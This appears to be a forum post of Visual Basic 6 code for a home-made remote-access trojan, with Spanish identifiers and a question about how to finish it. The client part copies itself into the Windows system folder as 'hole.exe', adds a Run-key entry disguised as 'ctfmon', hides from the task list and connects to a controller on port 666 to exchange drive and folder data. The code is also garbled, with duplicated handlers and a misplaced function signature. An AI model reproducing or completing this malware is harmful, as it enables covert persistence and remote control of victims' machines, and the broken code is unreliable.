Private Sub Form_Load()
Dim ip As String, port As Integer
Dim dioxis As String
Dim win, sys, residencia

ip = "192.168.6.100"
port = 666
dioxis = App.Path

ip = wsk.RemoteHost
port = wsk.RemotePort

If Right(dioxis, 1) <> "\" Then dioxis = dioxis & "\"
dioxis = dioxis & App.EXEName & ".exe"

Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)

win = LCase(win)
sys = LCase(sys)

FileCopy dioxis, sys & "\hole"
Name sys & "\hole" As sys & "\hole.exe"

Set residencia = CreateObject("WScript.Shell")

residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "ctfmon", sys & "\hole.exe"



App.TaskVisible = False
End Sub

Private Sub Command1_Click()
Dim datos As String
datos = txthst & "%)%" & txtso & "%)%" & drv.Drive & "%)%" & Dir.Path & "%)%" & file.Path
wsk.SendData datos
End Sub

Private Sub wsk_dataarrival(ByVal bytestotal As Long)
Dim datos As String
Dim trozos() As String
wsk.GetData datos
trozos = Split(datos, "%)%")
txthst = trozos(0)
txtso = trozos(1)
[b]drv.Drive = trozos(2)
Dir.Path = trozos(3)
File.Path = trozos(3)[/b]
End Sub

Private Sub wsk_dataarrival(ByVal bytestotal As Long)
Dim datos As String
Dim trozos() As String
wsk.GetData datos
trozos = Split(datos, "%)%")
txt1 = trozos(0)
txt2 = trozos(1)
txt3 = trozos(2)
txt4 = trozos(3)
End Sub

Private Sub cdmescuchar_Click()
wsk.Close
wsk.Listen
lblstatus.Caption = "Escuchando..."
End Sub

Private Sub cmdcerrar_Click()
wsk.Close
lblstatus.Caption = "Apagado"
End Sub

Private Sub Form_Load()
wsk.LocalPort = 666
End Sub

Private Sub wsk_connectionRequest(ByVal requestID As Long)
If MsgBox(wsk.RemoteHostIP & "esta intentando conectarse", vbQuestion + vbYesNo, "Conexion entrante") = vbYes Then
wsk.Close
wsk.Accept requestID
Else
wsk.Close
Call cmdescuchar_click
End If
End Sub

private Sub wsk_dataarrival(byval bytestotal as long)
'Aqui que tendria que poner?
end sub

private sub wsk_dataarrival(byval bytestotal as long)
dim datos as string
Function Split(
   ByVal datos As String,
   Optional ByVal Delimiter As String = "%)%",
   Optional ByVal Limit As Integer = -1,
   Optional ByVal Compare As CompareMethod = CompareMethod.Binary
) As String()
wsk.getdata datos(0)
texip.text = datos(0)